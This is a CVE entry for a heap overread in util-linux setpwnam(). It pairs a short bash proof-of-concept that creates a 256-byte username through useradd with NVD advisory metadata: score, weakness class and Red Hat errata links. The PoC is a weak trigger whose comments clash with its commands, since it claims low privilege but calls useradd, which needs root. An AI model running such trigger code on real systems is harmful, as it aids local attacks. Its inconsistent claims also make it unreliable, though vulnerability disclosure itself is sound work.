CVE-2025-14104

#!/bin/bash # CVE-2025-14104 PoC - Heap Buffer Overread in util-linux setpwnam() # Trigger condition: Username with exactly 256 bytes # Requirements: Low-privilege account, SUID login-utils utilities # Generate 256-byte username USERNAME=$(python3 -c "print('a' * 256)") # Attempt to create user with 256-byte username # This will trigger setpwnam() heap buffer overread useradd -m "$USERNAME" 2>/dev/null # Alternative trigger via passwd command manipulation # Create a user entry with 256-byte username in /etc/passwd format # Then attempt modification with usermod # For demonstration - check if vulnerable version is installed echo "Checking util-linux version..." getent passwd | head -1 # Note: This PoC demonstrates the trigger condition # Actual exploitation requires specific memory layout conditions echo "PoC for CVE-2025-14104: 256-byte username trigger ready"

{"cve": {"id": "CVE-2025-14104", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:03.117", "lastModified": "2026-04-19T20:16:20.623", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in util-linux. This vulnerability allows a heap buffer overread when processing 256-byte usernames, specifically within the `setpwnam()` function, affecting SUID (Set User ID) login-utils utilities writing to the password database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:1696", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:1852", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:1913", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:2485", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:2563", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:2737", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:2800", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:3406", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:4943", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:7180", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2025-14104", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2419369", "source": "[email protected]"}]}}